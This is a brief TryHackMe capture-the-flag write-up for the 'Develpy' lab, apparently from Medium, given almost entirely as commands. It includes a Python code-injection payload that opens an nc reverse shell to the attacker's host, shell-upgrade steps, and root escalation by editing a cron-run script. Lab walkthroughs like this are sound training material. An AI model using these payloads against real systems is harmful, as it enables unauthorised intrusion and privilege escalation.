Develpy — TryHackMe — WriteUp

nmap -A -T4 -p- -v <ip>

nmap
website

nc <ip> 10000

nc

nc -lvnp 4444

__import__(‘os’).system(‘nc -e /bin/bash <your-VPN-ip> 4444’)

reverse shell

python -c ‘import pty;pty.spawn(“/bin/bash”)’

export TERM=xterm

user flag
credential.png
king’s password
sudo -l

cat /etc/crontab

remove root.sh
modify root.sh

nc -lvnp 5555

root shell
root.txt

HAPPY HACKING

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store